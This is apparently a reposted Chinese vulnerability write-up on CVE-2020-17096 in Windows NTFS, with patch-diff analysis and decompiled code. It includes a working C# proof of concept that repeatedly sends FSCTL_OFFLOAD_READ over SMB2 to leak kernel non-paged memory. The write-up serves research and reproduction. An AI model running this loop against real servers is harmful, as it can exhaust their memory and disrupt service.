转自先知社区:https://xz.aliyun.com/t/8996

简介

2020年12月微软发布CVE-2020-17096的补丁,zecops团队对此漏洞进行了分析,文章在这里,本文根据其文章进行复现学习。这个洞是NTFS模块,zecops分析出来是内存泄露,但是微软对这类内存泄漏的洞很少收,并且标注的是Remote Code Execution,zecops团队也没有找到远程代码执行的地方,所以真正是否为zecops团队分析的那样还需要进一步研究。

补丁对比

问题出在ntfs.sys中,下面是对比的18362.117118362.1256,出除去一些未识别的符号,可以直接定位到NtfsOffloadRead函数

从函数名可以猜到是文件卸载读的操作,搜一下文档可以找到[MS-FSCC],其中的2.3.41 FSCTL_OFFLOAD_READ Request就是卸载读的操作,应该和这个函数有关

before patch

after patch

新版本红框函数内第一个参数从NULL变为 IrpConetxt 并删除了一些对参数的判断,这个 IrpContext 就是 NtfsOffloadRead 函数的第一个参数 ,第一个函数和调试跟踪有关,应该是开发人员使用的,所以重点应该放在第二个 NtfsExtendedCompleteRequestInternal函数,下面的代码基于补丁前的版本,如果第一个参数为NULL则直接跳过对第一个参数的操作,然后调用IRP完成函数

void __fastcall NtfsExtendedCompleteRequestInternal(__int64 a1, IRP *irp, int a3, __int64 a4, int a5)
{_QWORD *v5; // r13unsigned __int8 v6; // r12IRP *Irp; // rsi_IO_STACK_LOCATION *v10; // r15__int64 v11; // raxvoid *v12; // rcxbool v13; // sfvoid *v14; // rcx_QWORD *v15; // r14_QWORD *v16; // raxvoid *v17; // rcxPFILE_OBJECT v18; // rax__int64 v19; // rcx__int64 v20; // r8v5 = 0i64;v6 = a4;Irp = irp;v10 = 0i64;if ( irp ){v10 = irp->Tail.Overlay.CurrentStackLocation;if...}if ( a1 ){// ...}
LABEL_27:if ( Irp ){v18 = v10->FileObject;if ( v18 )v5 = v18->FsContext;Irp->IoStatus.Status = a3;if ( (unsigned __int8)(v10->MajorFunction - 3) <= 1u&& a3 == 0xC000009A&& v5&& (*(_DWORD *)(v5[21] + 4i64) & 4) != 0&& IoIsOperationSynchronous(Irp) ){++NtfsFailedPagingFileOps;}if ( v10->MajorFunction == 3 && a3 == 0xC000009A && (Irp->Flags & 2) != 0 )++NtfsFailedPagingReads;IofCompleteRequest(Irp, 1);}
}

在patch之后会传入IrpContext,若其非零则会解析很多字段,做一些释放资源和释放内存的操作,调用一些CancelCleanupDereference的函数,由此猜测patch之前没有很好的处理这些释放的资源,导致了内存泄露

 if ( irpcontext ){// ...if ( v12 ){// ...TxfRestoreIsoSnapshots(v12);*(_QWORD *)(irpcontext + 416) = 0i64;}// ...if ( *(_QWORD *)(irpcontext + 408) ){LOBYTE(irp) = a5 == 0;TxfProcessCancelList(irpcontext, irp);}v14 = *(void **)(irpcontext + 416);if ( v14 && !a5 ){TxfRestoreIsoSnapshots(v14);*(_QWORD *)(irpcontext + 416) = 0i64;}v15 = (_QWORD *)(irpcontext + 432);v16 = *(_QWORD **)(irpcontext + 432);if ( v16 && v16 != v15 )TxfProcessTxfFcbCleanupListInternal(irpcontext, a5 == 0, v6, 0i64);if ( a5 ){if ( !v6 ){NtfsCleanupIrpContext(irpcontext, 1i64);goto LABEL_27;}}else if ( !v6 ){v17 = *(void **)(irpcontext + 416);if ( v17 ){TxfCleanupIsoSnapshots(v17);*(_QWORD *)(irpcontext + 416) = 0i64;}if ( *(_QWORD *)(irpcontext + 392) ){LOBYTE(irp) = 1;TxfDereferenceTransaction(irpcontext + 392, irp);}goto LABEL_26;}if ( *v15 && (_QWORD *)*v15 != v15 ){LOBYTE(a4) = 1;TxfProcessTxfFcbCleanupListInternal(irpcontext, 0i64, 1i64, a4);}goto LABEL_22;}

根据zecops的文章分析,该漏洞导致了非分页池中的内存泄漏,而该内存池驻留在物理内存中。需要循环发送FSCTL_OFFLOAD_READ操作,根据zecops的部分poc代码,首先协商了SMB2协议,然后创建一个文件夹,此处必须是文件夹才能进入到patch函数的路径。

漏洞复现

FSCTL_OFFLOAD_READ操作可以基于SMB2协议实现,所以zecops采用的是微软的C#框架,首先需要设置一个共享文件夹用于SMB2协议操作,具体操作如下图,我在桌面创建了一个测试文件夹,右键属性进入共享,因为需要创建文件夹,所以需要在高级共享里设置权限为可读可写

设置好之后记住网络路径,然后用测试框架测试即可,有两种方法可以测试,可以用ConnectShare指定共享文件进行连接,也可以直接用Connect函数进行连接,只是用Connect函数需要修改Smb2ClientTransport.cs,指定shareName参数为共享目录名InternalConnectShare(domain, userName, password, "test", timeout, securityPackage, useServerToken);,不然会自动加上"IPC$"的字符导致所引目录错误

// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll
// Microsoft.Protocols.TestTools.StackSdk.dllusing System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService;
using Microsoft.Protocols.TestTools.StackSdk;namespace NTFSTest
{class Program{static void Main(string[] args){var ip = "192.168.62.142";var domain = "DESKTOP-KOT4SRO";var share = "test";var remote_path = "Thunder_Test";Smb2ClientTransport Client = new Smb2ClientTransport();var ipAddress = System.Net.IPAddress.Parse(ip);// SMB2 initializationClient.ConnectShare("DESKTOP-KOT4SRO", ipAddress, domain, "thunder", "", share, SecurityPackageType.Negotiate, true);// Create folderClient.Create(remote_path,FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,FsImpersonationLevel.Anonymous,FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,FsCreateDisposition.FILE_CREATE,FsCreateOption.FILE_DIRECTORY_FILE);// Construct FSCTL_OFFLOAD_READ_INPUT packageFSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();offloadReadInput.Size  = 32;offloadReadInput.Flags = FSCTL_OFFLOAD_READ_INPUT_FLAGS.NONE;offloadReadInput.TokenTimeToLive = 0;offloadReadInput.Reserved   = 0;offloadReadInput.FileOffset = 0;offloadReadInput.CopyLength = 0;// ToByesbyte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);while (true){// Send FSCTL_OFFLOAD_READClient.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);// Recv DataClient.ExpectIoctlPayload(out _, out _);}}}
}

测试结果会断在ntfs!NtfsOffloadRead,运行会调用NtfsExtendedCompleteRequestInternal函数导致内存泄露

回溯栈如下

kd> k# Child-SP          RetAddr           Call Site
00 ffff8084`daedf438 fffff804`622db831 Ntfs!NtfsExtendedCompleteRequestInternal
01 ffff8084`daedf440 fffff804`6224ccc7 Ntfs!NtfsOffloadRead+0x79d05
02 ffff8084`daedf570 fffff804`6224c481 Ntfs!NtfsUserFsRequest+0x55f
03 ffff8084`daedf5f0 fffff804`5fe3b7ba Ntfs!NtfsFsdFileSystemControl+0x171
04 ffff8084`daedf710 fffff804`6061e0a9 nt!IopfCallDriver+0x56
05 ffff8084`daedf750 fffff804`5feb0a27 nt!IovCallDriver+0x275
06 ffff8084`daedf790 fffff804`61185609 nt!IofCallDriver+0x1be927
07 ffff8084`daedf7d0 fffff804`611bc190 FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x159
08 ffff8084`daedf850 fffff804`5fe3b7ba FLTMGR!FltpFsControl+0x110
09 ffff8084`daedf8b0 fffff804`6061e0a9 nt!IopfCallDriver+0x56
0a ffff8084`daedf8f0 fffff804`5feb0a27 nt!IovCallDriver+0x275
0b ffff8084`daedf930 fffff804`5efebfcc nt!IofCallDriver+0x1be927
0c ffff8084`daedf970 fffff804`5efebcc3 srv2!Smb2ExecuteFSIoctl+0x21c
0d ffff8084`daedf9d0 fffff804`5f01c26e srv2!Smb2ExecuteIoctl+0xb3
0e ffff8084`daedfa20 fffff804`5eff9a9f srv2!Smb2ExecuteIoctlCallback+0xe
0f ffff8084`daedfa50 fffff804`5eff989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
10 ffff8084`daedfad0 fffff804`603d8137 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
11 ffff8084`daedfb30 fffff804`5fdee585 nt!IopThreadStart+0x37
12 ffff8084`daedfb90 fffff804`5fe86128 nt!PspSystemThreadStartup+0x55
13 ffff8084`daedfbe0 00000000`00000000 nt!KiStartSystemThread+0x28

WireShark里会抓到循环发送的FSCTL_OFFLOAD_READ包以及返回包

下面是测试效果,内存泄露的很慢,建议上2G的内存,不过还是能慢慢泄露的。

总结

本文主要是测试了一下zecops发的文章内容,复现对比了一下这个漏洞,感觉他们的文章更多是在抛砖引玉,到底是不是这个地方还需要更多的研究,不过在此之前建议先看看SMB的相关内容,这样理解起来会更快一些。

  • zecops分析文章

    https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/

  • 测试框架

    https://github.com/microsoft/WindowsProtocolTestSuites

NTFS CVE-2020-17096 分析复现相关推荐

  1. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  2. FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  3. AIoT 2020 年分析

    AIoT 2020 年分析 2020年,从智能手机到智能手表,从智能摄像头到智能汽车,随着AI.芯片.云计算.通信等基础技术的逐渐成熟,又一个行业来到了历史性的时刻--AIoT. 从"万物互 ...

  4. 【安全漏洞】简要分析复现了最近的ProxyShell利用链

    前言 近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式.微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在 ...

  5. 入选2020爱分析银行和零售数字化转型代表厂商,永洪科技有哪些经典案例可以借鉴?

    近日,<2020爱分析·银行数字化厂商全景报告>.<2020爱分析·消费品与零售数字化厂商全景报告>先后发布,永洪科技入选银行.零售行业数字化转型的代表厂商,聚焦自助式报表分析 ...

  6. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  7. FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  8. FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  9. NTFS删除及恢复分析

    实验名称:NTFS删除及恢复分析 一. 实验目的 通过对NTFS文件系统的学习,掌握NTFS的组成,能对其文件记录结构进行分析,知道在WinHex中怎样寻找文件记录MFT,分析MFT的10,30,80 ...

最新文章

  1. 博客堂也遇DotText经典Exception
  2. java B2B2C Springcloud多租户电子商城系统-spring-cloud-eureka
  3. SSH远程登录解析(linux)
  4. MySQL的GTID复制与传统复制的相互切换
  5. bzoj1038500AC!
  6. Discuz 7.2 /faq.php SQL注入漏洞
  7. python多维矩阵基础运算中的一点困惑
  8. mysql 中 where条件的OR 和 and 加括号的说法
  9. PoEdu - C++阶段班【Po学校】- 第1课
  10. Troubleshooting:重新安装Vertica建库后无法启动
  11. java怎么设置颜色_java怎么设置颜色
  12. 在android studio开发中,关于绘制GifView异常,硬件加速问题的解决办法
  13. EWSA1.50.0.298栈溢出错误
  14. Securing DevOps 免积分下载
  15. 儿童“益”站线上课堂 战“疫”不停学
  16. vb/vb.net开发技巧荟萃(七)
  17. CDR真实图片转水墨画效果制作教程
  18. RecSys'22|CARCA:交叉注意力感知上下文和属性进行推荐
  19. Xilinx FPGA 将寄存器放入IOB中
  20. 掌握 Windows 命令行界面:常用 DOS 命令简介

热门文章

  1. linux hdmi输出快捷键,Linux 下的投影仪 HDMI 输出设置
  2. 大股东支持拿地 中粮地产维维股份合作地产开发
  3. 在虚拟机上安装TestDirector8.0 遇到的问题
  4. java 生成印章 图章
  5. 关于温度气压传感器MS5611计算公式—温度低于20℃时出错问题的解决办法及验证结果
  6. 惠普 战66二代 拆机笔记——扩展硬盘和内存
  7. MySQL Workbench 8.0 目录汉化
  8. 外贸、财务相关名词解释
  9. 【失败】尝试改hosts突破迅雷离线的封锁
  10. Javascript入门学习笔记